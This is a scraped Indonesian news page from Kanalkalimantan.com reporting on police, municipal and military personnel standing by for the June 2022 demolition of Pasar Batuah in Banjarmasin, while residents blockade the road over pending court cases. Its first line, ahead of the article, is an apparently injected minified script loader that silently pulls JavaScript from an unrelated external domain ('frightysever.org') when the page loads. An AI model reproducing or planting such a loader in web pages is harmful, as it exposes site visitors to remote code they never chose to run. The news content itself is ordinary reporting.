(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Ratusan Aparat Gabungan Siaga Jelang Eksekusi Pasar Batuah Banjarmasin


KANALKALIMANTAN.COM, BANJARMASIN – Ratusan aparat gabungan dari Polresta Banjarmasin, Satpol PP Banjarmasin, Dishub Banjarmasin, dan Kodim 1007/Banjarmasin, siaga di sekitar lokasi pembongkaran Pasar Batuah, Kelurahan Kuripan, Banjarmasin Timur, Sabtu (18/6/2022) pukul 7.30 Wita.

Petugas Nampak siaga di pertigaan Jl Veteran dan Jl Manggis, sembali menunggu kepastian rencana eksekusi Pasar Batuah dan sejumlah rumah warga yang terdampak area proyek revitalisasi Pasar Batuah senilai Rp 3,5 miliar.

Sementara itu, sejak sekitar pukul 06.00 Wita, warga sudah memblokade jalan guna menghalangi petugas.

Ketua Aliansi Warga Kampung Batuah, Muhammad Syahrian Noor mengatakan, langkah ini dilakukan karena belum adanya putusan pengadilan berkekuatan hukum tetap atas perintah dan di bawah pimpinan ketua Pengadilan Negeri atau sesuai pasal 206,207,208 Rbg.

 

 

Baca juga: Warga Pasar Batuah Blokade Jalan Halangi Pembongkaran Oleh Pemko Banjarmasin

“Kami mempertahan hak kami sebelum adanya keputusan inkrah dari pengadilan yang berkekuatan hukum tetap,” tegasnya.

Meski demikian, ia berharap protes yang dilakukan tetap berlangsung kondusif tanpa ada aksi benturan dengan petugas.

Aparat bersiaga jelang pembongkaran Pasar Batuah Banjarmasin, Sabtu (18/6/2022). Foto: halim

“Warga Kampung Batuah menghormati proses hukum karena perkara ini masih berlangsung di PTUN dan PN Banjarmasin,” katanya.

Sebelumnya, Pengadilan Tata Usaha Negara (PTUN) Banjarmasin sudah mengeluarkan salinan penetapan terkait permintaan Kuasa Hukum Warga Batuah untuk menunda pelaksanaan Surat Keputusan (SK) Walikota Banjarmasin Nomor 109 Tahun 2022.

Dalam surat penundaan tersebut tertulis bahwa, PTUN Banjarmasin menolak permohonan penundaan SK Walikota Banjarmasin Nomor 109 Tahun 2022, tentang program pembangunan strategis Dinas Perdagangan dan Perindustrian (Disperdagin) Kota Banjarmasin tahun 2022, tanggal 7 Januari 2022.

Khusus dalam lampiran nomor 1 program peningkatan sarana distribusi perdagangan pekerjaan pembangunan/revitalisasi pasar Batuah yang bersumber dari dana APBN dan APBD yang dimohonkan para penggugat.(Kanalkalimantan.com/halim)

Reporter: halim
Editor: cell


Risa

Recent Posts

67 Ribu Warga Tak Lagi Ditanggung BPJS Kesehatan, Pemko Banjarmasin Upayakan Pengaktifan Kembali

KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More

15 jam ago

Janji Wali Kota Yamin Tertibkan Bangunan di Atas Sungai

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR menyoroti bangunan yang berdiri di… Read More

17 jam ago

MAFINDO Kalsel Bekali Guru di Banjarmasin Memahami Teknologi Kecerdasan Buatan

KANALKALIMANTAN.COM, BANJARMASIN - Membuka tahun 2026, Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan (Kalsel) menggelar… Read More

17 jam ago

Pengelolaan UNESCO Global Geopark Meratus Diperkuat

Saat ini Ada 17 Situs Geologi Utama, 50 Titik Potensial Masih Dikaji Read More

23 jam ago

Mereka Menanti Skatepark di Kota Seribu Sungai

KANALKALIMANTAN.COM, BANJARMASIN – Sudah lama para skater menanti kehadiran skatepark di Kota Banjarmasin. Pasalnya, Siring… Read More

23 jam ago

Cek Kondisi Kolam Renang Idaman Terkini, Ini Respon Komisi III DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Komisi III Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru turun melakukan pengecekan… Read More

1 hari ago

This website uses cookies.